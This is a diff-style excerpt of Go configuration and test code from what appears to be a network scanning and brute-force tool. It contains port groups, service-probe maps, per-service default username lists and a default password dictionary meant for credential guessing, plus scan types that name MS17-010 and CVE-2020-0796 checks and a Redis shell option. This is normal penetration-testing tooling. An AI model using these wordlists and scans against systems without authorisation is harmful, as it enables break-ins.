|
||||
"smb": 445,
|
||||
"ms17010": 1000001,
|
||||
"cve20200796": 1000002,
|
||||
"webtitle": 1000003,
|
||||
"elastic": 9200,
|
||||
"findnet": 135,
|
||||
"all": 0,
|
||||
"portscan": 0,
|
||||
"icmp": 0,
|
||||
}
|
||||
|
||||
var PortlistBack = map[string]int{
|
||||
"ftp": 21,
|
||||
"ssh": 22,
|
||||
"mem": 11211,
|
||||
"mgo": 27017,
|
||||
"mssql": 1433,
|
||||
"psql": 5432,
|
||||
"redis": 6379,
|
||||
"mysql": 3306,
|
||||
"smb": 445,
|
||||
"ms17010": 1000001,
|
||||
"cve20200796": 1000002,
|
||||
"webtitle": 1000003,
|
||||
"elastic": 9200,
|
||||
"findnet": 135,
|
||||
"all": 0,
|
||||
"portscan": 0,
|
||||
"icmp": 0,
|
||||
}
|
||||
|
||||
var Outputfile = getpath() + "result.txt"
|
||||
var IsSave = true
|
||||
|
||||
var DefaultPorts = "21,22,80,81,135,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9200,11211,27017"
|
||||
|
||||
type HostInfo struct {
|
||||
Host string
|
||||
Ports string
|
||||
Domain string
|
||||
Url string
|
||||
Timeout int64
|
||||
WebTimeout int64
|
||||
Scantype string
|
||||
Command string
|
||||
Username string
|
||||
Password string
|
||||
Usernames []string
|
||||
Passwords []string
|
||||
}
|
||||
|
||||
type PocInfo struct {
|
||||
Num int
|
||||
Rate int
|
||||
Timeout int64
|
||||
Proxy string
|
||||
PocName string
|
||||
PocDir string
|
||||
Target string
|
||||
TargetFile string
|
||||
RawFile string
|
||||
Cookie string
|
||||
ForceSSL bool
|
||||
ApiKey string
|
||||
CeyeDomain string
|
||||
}
|
||||
|
||||
var TmpOutputfile string
|
||||
var TmpSave bool
|
||||
var IsPing bool
|
||||
var Ping bool
|
||||
var Pocinfo PocInfo
|
||||
var IsWebCan bool
|
||||
var RedisFile string
|
||||
var RedisShell string
|
||||
var Userfile string
|
||||
var Passfile string
|
||||
var HostFile string
|
||||
var Threads int
|
||||
@@ -0,0 +1,266 @@
|
||||
package config
|
||||
|
||||
// PocInfo POC详细信息结构 - 保留给webscan使用
|
||||
type PocInfo struct {
|
||||
Target string `json:"target"`
|
||||
PocName string `json:"poc_name"`
|
||||
}
|
||||
|
||||
// CredentialPair 精确的用户名密码对
|
||||
type CredentialPair struct {
|
||||
Username string `json:"username"`
|
||||
Password string `json:"password"`
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 端口组常量 - 从common/constants.go迁移
|
||||
// =============================================================================
|
||||
|
||||
// 预定义端口组 - 字符串格式,用于命令行参数默认值
|
||||
var (
|
||||
// 注意:9100 已移除,该端口为打印机 RAW 端口,发送数据会触发打印 (Issue #517)
|
||||
WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8005,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10051,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,20880,21000,21501,21502,28018"
|
||||
|
||||
// MainPorts 主要扫描端口 (约150个)
|
||||
// 包含: 基础服务、远程管理、数据库、消息队列、Web中间件、容器云、监控、安全设备等
|
||||
MainPorts = "" +
|
||||
// 基础服务 (21-995)
|
||||
"21,22,23,25,53,80,81,88,110,111,135,139,143,161,389,443,445,465,502,512,513,514,515,548,554,587,623,636,873,902,993,995," +
|
||||
// 代理/隧道 (1080-1883)
|
||||
"1080,1099,1194,1433,1434,1521,1522,1525,1723,1883," +
|
||||
// 远程/数据库 (2049-3690)
|
||||
"2049,2121,2181,2200,2222,2375,2376,2379,2380,3000,3128,3268,3269,3306,3389,3690," +
|
||||
// Java/中间件 (4369-5986)
|
||||
"4369,4444,4848,5000,5005,5044,5060,5432,5601,5631,5632,5671,5672,5900,5984,5985,5986," +
|
||||
// 缓存/数据库 (6000-6667)
|
||||
"6000,6379,6380,6443,6666,6667," +
|
||||
// Web/中间件 (7001-9999)
|
||||
// 注意:9100 已移除,该端口为打印机 RAW 端口,发送数据会触发打印
|
||||
"7001,7002,7474,7687,8000,8005,8008,8009,8080,8081,8086,8088,8089,8090,8161,8180,8443,8500,8834,8848,8880,8888,9000,9001,9042,9080,9090,9092,9093,9160,9200,9300,9418,9443,9999," +
|
||||
// 管理/监控 (10000-11211)
|
||||
"10000,10051,10250,10255,11211," +
|
||||
// 消息队列/集群 (15672-27018)
|
||||
"15672,22222,26379,27017,27018," +
|
||||
// Hadoop/大数据 (50000-61616)
|
||||
"50000,50070,50075,61613,61614,61616"
|
||||
|
||||
// DbPorts 数据库端口
|
||||
DbPorts = "1433,1521,3306,5432,5672,5984,6379,7687,8086,9042,9093,9160,9200,11211,26379,27017,27018,61616"
|
||||
|
||||
// ServicePorts 服务端口
|
||||
ServicePorts = "21,22,23,25,53,110,111,135,139,143,161,389,445,465,502,512,513,514,587,623,636,873,993,995,1433,1521,2049,2181,2222,3306,3389,5432,5672,5671,5900,5985,5986,6379,8161,8443,9000,9092,9093,9200,10051,11211,15672,15671,27017,61616,61613"
|
||||
|
||||
// CommonPorts 常用端口
|
||||
CommonPorts = "21,22,23,25,53,80,110,135,139,143,443,445,993,995,1723,3389,5060,5985,5986"
|
||||
|
||||
// AllPorts 全端口
|
||||
AllPorts = "1-65535"
|
||||
)
|
||||
|
||||
// GetPortGroups 获取端口组映射 - 用于解析器
|
||||
func GetPortGroups() map[string]string {
|
||||
return map[string]string{
|
||||
"web": WebPorts,
|
||||
"main": MainPorts,
|
||||
"db": DbPorts,
|
||||
"service": ServicePorts,
|
||||
"common": CommonPorts,
|
||||
"all": AllPorts,
|
||||
}
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 服务探测配置
|
||||
// =============================================================================
|
||||
|
||||
// DefaultProbeMap 默认探测器列表
|
||||
var DefaultProbeMap = []string{
|
||||
"GenericLines",
|
||||
"GetRequest",
|
||||
"TLSSessionReq",
|
||||
"SSLSessionReq",
|
||||
"ms-sql-s",
|
||||
"JavaRMI",
|
||||
"LDAPSearchReq",
|
||||
"LDAPBindReq",
|
||||
"oracle-tns",
|
||||
"Socks5",
|
||||
}
|
||||
|
||||
// DefaultPortMap 默认端口映射关系
|
||||
var DefaultPortMap = map[int][]string{
|
||||
1: {"GetRequest", "Help"},
|
||||
7: {"Help"},
|
||||
21: {"GenericLines", "Help"},
|
||||
23: {"GenericLines", "tn3270"},
|
||||
25: {"Hello", "Help"},
|
||||
35: {"GenericLines"},
|
||||
42: {"SMBProgNeg"},
|
||||
43: {"GenericLines"},
|
||||
53: {"DNSVersionBindReqTCP", "DNSStatusRequestTCP"},
|
||||
70: {"GetRequest"},
|
||||
79: {"GenericLines", "GetRequest", "Help"},
|
||||
80: {"GetRequest", "HTTPOptions", "RTSPRequest", "X11Probe", "FourOhFourRequest"},
|
||||
81: {"GetRequest", "HTTPOptions", "RPCCheck", "FourOhFourRequest"},
|
||||
82: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
83: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
84: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
85: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
88: {"GetRequest", "Kerberos", "SMBProgNeg", "FourOhFourRequest"},
|
||||
98: {"GenericLines"},
|
||||
110: {"GenericLines"},
|
||||
111: {"RPCCheck"},
|
||||
113: {"GenericLines", "GetRequest", "Help"},
|
||||
119: {"GenericLines", "Help"},
|
||||
130: {"NotesRPC"},
|
||||
135: {"DNSVersionBindReqTCP", "SMBProgNeg"},
|
||||
139: {"GetRequest", "SMBProgNeg"},
|
||||
143: {"GetRequest"},
|
||||
175: {"NJE"},
|
||||
199: {"GenericLines", "RPCCheck", "Socks5", "Socks4"},
|
||||
214: {"GenericLines"},
|
||||
264: {"GenericLines"},
|
||||
311: {"LDAPSearchReq"},
|
||||
340: {"GenericLines"},
|
||||
389: {"LDAPSearchReq", "LDAPBindReq"},
|
||||
443: {"TLSSessionReq", "SSLSessionReq", "GetRequest", "HTTPOptions", "TerminalServerCookie"},
|
||||
444: {"TLSSessionReq", "SSLSessionReq", "GetRequest", "HTTPOptions", "TerminalServerCookie"},
|
||||
445: {"SMBProgNeg"},
|
||||
465: {"SSLSessionReq", "TLSSessionReq", "Hello", "Help", "GetRequest", "HTTPOptions", "TerminalServerCookie"},
|
||||
502: {"GenericLines"},
|
||||
503: {"GenericLines"},
|
||||
513: {"GenericLines"},
|
||||
514: {"GenericLines"},
|
||||
515: {"LPDString"},
|
||||
544: {"GenericLines"},
|
||||
548: {"afp"},
|
||||
554: {"GetRequest"},
|
||||
563: {"GenericLines"},
|
||||
587: {"Hello", "Help"},
|
||||
631: {"GetRequest", "HTTPOptions"},
|
||||
636: {"LDAPSearchReq", "LDAPBindReq", "SSLSessionReq"},
|
||||
646: {"LDAPSearchReq", "RPCCheck"},
|
||||
691: {"GenericLines"},
|
||||
873: {"GenericLines"},
|
||||
898: {"GetRequest"},
|
||||
993: {"GenericLines", "SSLSessionReq", "TerminalServerCookie", "TLSSessionReq"},
|
||||
995: {"GenericLines", "SSLSessionReq", "TerminalServerCookie", "TLSSessionReq"},
|
||||
1080: {"GenericLines", "Socks5", "Socks4"},
|
||||
1099: {"JavaRMI"},
|
||||
1234: {"SqueezeCenter_CLI"},
|
||||
1311: {"GenericLines"},
|
||||
1352: {"oracle-tns"},
|
||||
1414: {"ibm-mqseries"},
|
||||
1433: {"ms-sql-s"},
|
||||
1521: {"oracle-tns"},
|
||||
1723: {"GenericLines"},
|
||||
1883: {"mqtt"},
|
||||
1911: {"oracle-tns"},
|
||||
2000: {"GenericLines", "oracle-tns"},
|
||||
2049: {"RPCCheck"},
|
||||
2121: {"GenericLines", "Help"},
|
||||
2181: {"GenericLines"},
|
||||
2222: {"GetRequest", "GenericLines", "HTTPOptions", "Help", "SSH", "TerminalServerCookie"},
|
||||
2375: {"docker", "GetRequest", "HTTPOptions"},
|
||||
2376: {"TLSSessionReq", "SSLSessionReq", "docker", "GetRequest", "HTTPOptions"},
|
||||
2484: {"oracle-tns"},
|
||||
2628: {"dominoconsole"},
|
||||
3000: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
3268: {"LDAPSearchReq", "LDAPBindReq"},
|
||||
3269: {"LDAPSearchReq", "LDAPBindReq", "SSLSessionReq"},
|
||||
3306: {"GenericLines", "GetRequest", "HTTPOptions"},
|
||||
3389: {"TerminalServerCookie", "TerminalServer"},
|
||||
3690: {"GenericLines"},
|
||||
4000: {"GenericLines"},
|
||||
4369: {"epmd"},
|
||||
4444: {"GenericLines"},
|
||||
4840: {"GenericLines"},
|
||||
5000: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
5050: {"GenericLines"},
|
||||
5060: {"SIPOptions"},
|
||||
5222: {"GenericLines"},
|
||||
5432: {"GenericLines"},
|
||||
5555: {"GenericLines"},
|
||||
5560: {"GenericLines", "oracle-tns"},
|
||||
5631: {"GenericLines", "PCWorkstation"},
|
||||
5672: {"GenericLines"},
|
||||
5984: {"GetRequest", "HTTPOptions"},
|
||||
6000: {"X11Probe"},
|
||||
6379: {"redis-server"},
|
||||
6432: {"GenericLines"},
|
||||
6667: {"GenericLines"},
|
||||
7000: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
|
||||
7001: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
|
||||
7002: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
|
||||
7070: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
7443: {"TLSSessionReq", "SSLSessionReq", "GetRequest", "HTTPOptions"},
|
||||
7777: {"GenericLines", "oracle-tns"},
|
||||
8000: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "iperf3"},
|
||||
8005: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
8008: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
8009: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "ajp"},
|
||||
8080: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
8081: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
8089: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
8090: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
8443: {"TLSSessionReq", "SSLSessionReq", "GetRequest", "HTTPOptions"},
|
||||
8888: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
9000: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
9042: {"GenericLines"},
|
||||
9092: {"GenericLines", "kafka"},
|
||||
9200: {"GetRequest", "HTTPOptions", "elasticsearch"},
|
||||
9300: {"GenericLines"},
|
||||
9999: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "adbConnect"},
|
||||
10000: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
|
||||
10051: {"GenericLines"},
|
||||
11211: {"Memcache"},
|
||||
15672: {"GetRequest", "HTTPOptions"},
|
||||
27017: {"mongodb"},
|
||||
27018: {"mongodb"},
|
||||
50070: {"GetRequest", "HTTPOptions"},
|
||||
61616: {"GenericLines"},
|
||||
}
|
||||
|
||||
// DefaultUserDict 默认服务用户字典
|
||||
var DefaultUserDict = map[string][]string{
|
||||
"ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"},
|
||||
"mysql": {"root", "mysql"},
|
||||
"mssql": {"sa", "sql"},
|
||||
"smb": {"administrator", "admin", "guest"},
|
||||
"rdp": {"administrator", "admin", "guest"},
|
||||
"postgresql": {"postgres", "admin"},
|
||||
"ssh": {"root", "admin"},
|
||||
"mongodb": {"root", "admin"},
|
||||
"redis": {""},
|
||||
"oracle": {"sys", "system", "admin", "test", "web", "orcl"},
|
||||
"telnet": {"root", "admin", "test"},
|
||||
"elastic": {"elastic", "admin", "kibana"},
|
||||
"rabbitmq": {"guest", "admin", "administrator", "rabbit", "rabbitmq", "root"},
|
||||
"kafka": {"admin", "kafka", "root", "test"},
|
||||
"activemq": {"admin", "root", "activemq", "system", "user"},
|
||||
"ldap": {"admin", "administrator", "root", "cn=admin", "cn=administrator", "cn=manager"},
|
||||
"smtp": {"admin", "root", "postmaster", "mail", "smtp", "administrator"},
|
||||
"imap": {"admin", "mail", "postmaster", "root", "user", "test"},
|
||||
"pop3": {"admin", "root", "mail", "user", "test", "postmaster"},
|
||||
"zabbix": {"Admin", "admin", "guest", "user"},
|
||||
"rsync": {"root", "admin", "backup"},
|
||||
"cassandra": {"cassandra", "admin", "root", "system"},
|
||||
"neo4j": {"neo4j", "admin", "root", "test"},
|
||||
}
|
||||
|
||||
// DefaultPasswords 默认密码字典
|
||||
var DefaultPasswords = []string{
|
||||
"123456", "admin", "admin123", "root", "", "pass123", "pass@123",
|
||||
"password", "Password", "P@ssword123", "123123", "654321", "111111",
|
||||
"123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}",
|
||||
"{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123",
|
||||
"{user}#123", "{user}@111", "{user}@2019", "{user}@123#4",
|
||||
"P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test",
|
||||
"test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666",
|
||||
"a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888",
|
||||
"!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111",
|
||||
"a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123",
|
||||
"Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ",
|
||||
"2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456",
|
||||
"1q2w3e", "Charge123", "Aa123456789", "redis", "elastic123",
|
||||
}
|
||||
@@ -0,0 +1,393 @@
|
||||
package config
|
||||
|
||||
import (
|
||||
"strconv"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
/*
|
||||
constants_test.go - 配置常量测试
|
||||
|
||||
测试目标:端口组、探测器配置、字典数据
|
||||
价值:配置错误会导致:
|
||||
- 端口组错误 → 扫描范围错误(用户遗漏目标)
|
||||
- 字典错误 → 暴力破解失败(无法登录系统)
|
||||
- 探测器配置错误 → 服务识别失败
|
||||
|
||||
"配置是数据,但数据也会有bug。端口范围错误、字典重复、
|
||||
空值遗漏——这些都是真实问题。测试数据和测试代码一样重要。"
|
||||
*/
|
||||
|
||||
// =============================================================================
|
||||
// 端口组测试
|
||||
// =============================================================================
|
||||
|
||||
// TestPortGroups_Format 测试端口组格式
|
||||
//
|
||||
// 验证:所有端口组字符串格式正确(可解析为端口列表)
|
||||
func TestPortGroups_Format(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
portGroup string
|
||||
}{
|
||||
{"WebPorts", WebPorts},
|
||||
{"MainPorts", MainPorts},
|
||||
{"DbPorts", DbPorts},
|
||||
{"ServicePorts", ServicePorts},
|
||||
{"CommonPorts", CommonPorts},
|
||||
{"AllPorts", AllPorts},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
// 验证格式:逗号分隔的数字或范围
|
||||
if tt.portGroup == "" {
|
||||
t.Error("端口组不应为空")
|
||||
return
|
||||
}
|
||||
|
||||
// AllPorts是特殊格式"1-65535"
|
||||
if tt.portGroup == "1-65535" {
|
||||
t.Logf("✓ %s 格式正确(范围格式)", tt.name)
|
||||
return
|
||||
}
|
||||
|
||||
// 其他端口组应该是逗号分隔的数字
|
||||
ports := strings.Split(tt.portGroup, ",")
|
||||
if len(ports) == 0 {
|
||||
t.Error("端口组应该包含至少一个端口")
|
||||
return
|
||||
}
|
||||
|
||||
// 验证每个端口都是有效数字
|
||||
for i, portStr := range ports {
|
||||
port, err := strconv.Atoi(strings.TrimSpace(portStr))
|
||||
if err != nil {
|
||||
t.Errorf("第%d个端口 '%s' 不是有效数字: %v", i+1, portStr, err)
|
||||
continue
|
||||
}
|
||||
|
||||
// 验证端口范围
|
||||
if port < 1 || port > 65535 {
|
||||
t.Errorf("第%d个端口 %d 超出有效范围 [1-65535]", i+1, port)
|
||||
}
|
||||
}
|
||||
|
||||
t.Logf("✓ %s 格式正确(%d个端口)", tt.name, len(ports))
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestPortGroups_NoEmpty 测试端口组非空
|
||||
func TestPortGroups_NoEmpty(t *testing.T) {
|
||||
groups := map[string]string{
|
||||
"WebPorts": WebPorts,
|
||||
"MainPorts": MainPorts,
|
||||
"DbPorts": DbPorts,
|
||||
"ServicePorts": ServicePorts,
|
||||
"CommonPorts": CommonPorts,
|
||||
"AllPorts": AllPorts,
|
||||
}
|
||||
|
||||
for name, ports := range groups {
|
||||
if ports == "" {
|
||||
t.Errorf("%s 不应为空字符串", name)
|
||||
}
|
||||
}
|
||||
|
||||
t.Logf("✓ 所有端口组非空")
|
||||
}
|
||||
|
||||
// TestPortGroups_NoDuplicates 测试端口组无重复
|
||||
func TestPortGroups_NoDuplicates(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
portGroup string
|
||||
}{
|
||||
{"WebPorts", WebPorts},
|
||||
{"MainPorts", MainPorts},
|
||||
{"DbPorts", DbPorts},
|
||||
{"ServicePorts", ServicePorts},
|
||||
{"CommonPorts", CommonPorts},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
if tt.portGroup == "1-65535" {
|
||||
t.Skip("范围格式无需检查重复")
|
||||
return
|
||||
}
|
||||
|
||||
ports := strings.Split(tt.portGroup, ",")
|
||||
seen := make(map[string]bool)
|
||||
duplicates := []string{}
|
||||
|
||||
for _, port := range ports {
|
||||
port = strings.TrimSpace(port)
|
||||
if seen[port] {
|
||||
duplicates = append(duplicates, port)
|
||||
}
|
||||
seen[port] = true
|
||||
}
|
||||
|
||||
if len(duplicates) > 0 {
|
||||
t.Errorf("%s 包含重复端口: %v", tt.name, duplicates)
|
||||
} else {
|
||||
t.Logf("✓ %s 无重复端口", tt.name)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestGetPortGroups_Completeness 测试GetPortGroups完整性
|
||||
//
|
||||
// 验证:返回的map包含所有预定义的端口组
|
||||
func TestGetPortGroups_Completeness(t *testing.T) {
|
||||
groups := GetPortGroups()
|
||||
|
||||
expectedKeys := []string{"web", "main", "db", "service", "common", "all"}
|
||||
for _, key := range expectedKeys {
|
||||
if _, ok := groups[key]; !ok {
|
||||
t.Errorf("GetPortGroups缺少键: %s", key)
|
||||
}
|
||||
}
|
||||
|
||||
if len(groups) != len(expectedKeys) {
|
||||
t.Errorf("GetPortGroups返回%d个组,期望%d个", len(groups), len(expectedKeys))
|
||||
}
|
||||
|
||||
t.Logf("✓ GetPortGroups包含所有%d个端口组", len(expectedKeys))
|
||||
}
|
||||
|
||||
// TestGetPortGroups_Values 测试GetPortGroups返回正确的值
|
||||
func TestGetPortGroups_Values(t *testing.T) {
|
||||
groups := GetPortGroups()
|
||||
|
||||
tests := []struct {
|
||||
key string
|
||||
expected string
|
||||
}{
|
||||
{"web", WebPorts},
|
||||
{"main", MainPorts},
|
||||
{"db", DbPorts},
|
||||
{"service", ServicePorts},
|
||||
{"common", CommonPorts},
|
||||
{"all", AllPorts},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.key, func(t *testing.T) {
|
||||
actual, ok := groups[tt.key]
|
||||
if !ok {
|
||||
t.Fatalf("GetPortGroups缺少键: %s", tt.key)
|
||||
}
|
||||
|
||||
if actual != tt.expected {
|
||||
t.Errorf("GetPortGroups[%s] 值不匹配\n期望前20字符: %s...\n实际前20字符: %s...",
|
||||
tt.key, tt.expected[:20], actual[:20])
|
||||
}
|
||||
|
||||
t.Logf("✓ %s 映射正确", tt.key)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 探测器配置测试
|
||||
// =============================================================================
|
||||
|
||||
// TestDefaultProbeMap_NoEmpty 测试默认探测器列表非空
|
||||
func TestDefaultProbeMap_NoEmpty(t *testing.T) {
|
||||
if len(DefaultProbeMap) == 0 {
|
||||
t.Error("DefaultProbeMap不应为空")
|
||||
return
|
||||
}
|
||||
|
||||
// 验证每个探测器名称非空
|
||||
for i, probe := range DefaultProbeMap {
|
||||
if probe == "" {
|
||||
t.Errorf("第%d个探测器名称为空", i+1)
|
||||
}
|
||||
}
|
||||
|
||||
t.Logf("✓ DefaultProbeMap包含%d个探测器", len(DefaultProbeMap))
|
||||
}
|
||||
|
||||
// TestDefaultPortMap_ValidKeys 测试DefaultPortMap的键有效
|
||||
func TestDefaultPortMap_ValidKeys(t *testing.T) {
|
||||
invalidPorts := []int{}
|
||||
|
||||
for port := range DefaultPortMap {
|
||||
if port < 1 || port > 65535 {
|
||||
invalidPorts = append(invalidPorts, port)
|
||||
}
|
||||
}
|
||||
|
||||
if len(invalidPorts) > 0 {
|
||||
t.Errorf("DefaultPortMap包含无效端口号: %v", invalidPorts)
|
||||
} else {
|
||||
t.Logf("✓ DefaultPortMap的%d个端口号都有效", len(DefaultPortMap))
|
||||
}
|
||||
}
|
||||
|
||||
// TestDefaultPortMap_NoEmptyValues 测试DefaultPortMap值非空
|
||||
func TestDefaultPortMap_NoEmptyValues(t *testing.T) {
|
||||
emptyPorts := []int{}
|
||||
|
||||
for port, probes := range DefaultPortMap {
|
||||
if len(probes) == 0 {
|
||||
emptyPorts = append(emptyPorts, port)
|
||||
}
|
||||
}
|
||||
|
||||
if len(emptyPorts) > 0 {
|
||||
t.Errorf("以下端口的探测器列表为空: %v", emptyPorts)
|
||||
} else {
|
||||
t.Logf("✓ DefaultPortMap所有端口都有探测器")
|
||||
}
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 字典数据测试
|
||||
// =============================================================================
|
||||
|
||||
// TestDefaultUserDict_NoEmptyKeys 测试DefaultUserDict键非空
|
||||
func TestDefaultUserDict_NoEmptyKeys(t *testing.T) {
|
||||
for service, users := range DefaultUserDict {
|
||||
if service == "" {
|
||||
t.Error("DefaultUserDict包含空服务名")
|
||||
}
|
||||
|
||||
if len(users) == 0 {
|
||||
t.Errorf("服务 '%s' 的用户列表为空", service)
|
||||
}
|
||||
}
|
||||
|
||||
t.Logf("✓ DefaultUserDict包含%d个服务", len(DefaultUserDict))
|
||||
}
|
||||
|
||||
// TestDefaultUserDict_CommonServices 测试DefaultUserDict包含常见服务
|
||||
func TestDefaultUserDict_CommonServices(t *testing.T) {
|
||||
commonServices := []string{"ftp", "mysql", "mssql", "ssh", "redis", "mongodb"}
|
||||
|
||||
for _, service := range commonServices {
|
||||
if _, ok := DefaultUserDict[service]; !ok {
|
||||
t.Errorf("DefaultUserDict缺少常见服务: %s", service)
|
||||
}
|
||||
}
|
||||
|
||||
t.Logf("✓ DefaultUserDict包含所有常见服务")
|
||||
}
|
||||
|
||||
// TestDefaultUserDict_AllowsEmptyUser 测试DefaultUserDict允许空用户名
|
||||
//
|
||||
// 验证:某些服务(如redis)允许空用户名
|
||||
func TestDefaultUserDict_AllowsEmptyUser(t *testing.T) {
|
||||
// redis服务应该包含空用户名
|
||||
redisUsers, ok := DefaultUserDict["redis"]
|
||||
if !ok {
|
||||
t.Skip("DefaultUserDict不包含redis,跳过测试")
|
||||
return
|
||||
}
|
||||
|
||||
hasEmptyUser := false
|
||||
for _, user := range redisUsers {
|
||||
if user == "" {
|
||||
hasEmptyUser = true
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if !hasEmptyUser {
|
||||
t.Error("redis用户列表应该包含空用户名(默认无认证)")
|
||||
} else {
|
||||
t.Logf("✓ redis用户列表正确包含空用户名")
|
||||
}
|
||||
}
|
||||
|
||||
// TestDefaultPasswords_NoEmpty 测试DefaultPasswords非空
|
||||
func TestDefaultPasswords_NoEmpty(t *testing.T) {
|
||||
if len(DefaultPasswords) == 0 {
|
||||
t.Error("DefaultPasswords不应为空")
|
||||
return
|
||||
}
|
||||
|
||||
t.Logf("✓ DefaultPasswords包含%d个密码", len(DefaultPasswords))
|
||||
}
|
||||
|
||||
// TestDefaultPasswords_AllowsEmptyPassword 测试DefaultPasswords允许空密码
|
||||
func TestDefaultPasswords_AllowsEmptyPassword(t *testing.T) {
|
||||
// 应该包含空密码(某些服务默认无密码)
|
||||
hasEmptyPassword := false
|
||||
for _, pass := range DefaultPasswords {
|
||||
if pass == "" {
|
||||
hasEmptyPassword = true
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if !hasEmptyPassword {
|
||||
t.Error("DefaultPasswords应该包含空密码(某些服务默认无密码)")
|
||||
} else {
|
||||
t.Logf("✓ DefaultPasswords正确包含空密码")
|
||||
}
|
||||
}
|
||||
|
||||
// TestDefaultPasswords_HasPlaceholder 测试DefaultPasswords包含占位符
|
||||
func TestDefaultPasswords_HasPlaceholder(t *testing.T) {
|
||||
// 应该包含{user}占位符(密码=用户名的场景)
|
||||
hasPlaceholder := false
|
||||
for _, pass := range DefaultPasswords {
|
||||
if strings.Contains(pass, "{user}") {
|
||||
hasPlaceholder = true
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if !hasPlaceholder {
|
||||
t.Error("DefaultPasswords应该包含{user}占位符(密码=用户名变体)")
|
||||
} else {
|
||||
t.Logf("✓ DefaultPasswords正确包含{user}占位符")
|
||||
}
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 结构体测试
|
||||
// =============================================================================
|
||||
|
||||
// TestPocInfo_Fields 测试PocInfo结构体字段
|
||||
func TestPocInfo_Fields(t *testing.T) {
|
||||
poc := PocInfo{
|
||||
Target: "http://example.com",
|
||||
PocName: "test-poc",
|
||||
}
|
||||
|
||||
if poc.Target != "http://example.com" {
|
||||
t.Error("PocInfo.Target赋值失败")
|
||||
}
|
||||
|
||||
if poc.PocName != "test-poc" {
|
||||
t.Error("PocInfo.PocName赋值失败")
|
||||
}
|
||||
|
||||
t.Logf("✓ PocInfo结构体正常工作")
|
||||
}
|
||||
|
||||
// TestCredentialPair_Fields 测试CredentialPair结构体字段
|
||||
func TestCredentialPair_Fields(t *testing.T) {
|
||||
cred := CredentialPair{
|
||||
Username: "admin",
|
||||
Password: "password123",
|
||||
}
|
||||
|
||||
if cred.Username != "admin" {
|
||||
t.Error("CredentialPair.Username赋值失败")
|
||||
}
|
||||
|
||||
if cred.Password != "password123" {
|
||||
t.Error("CredentialPair.Password赋值失败")
|
||||
}
|
||||
|
||||
t.Logf("✓ CredentialPair结构体正常工作")
|
||||
}
|
||||
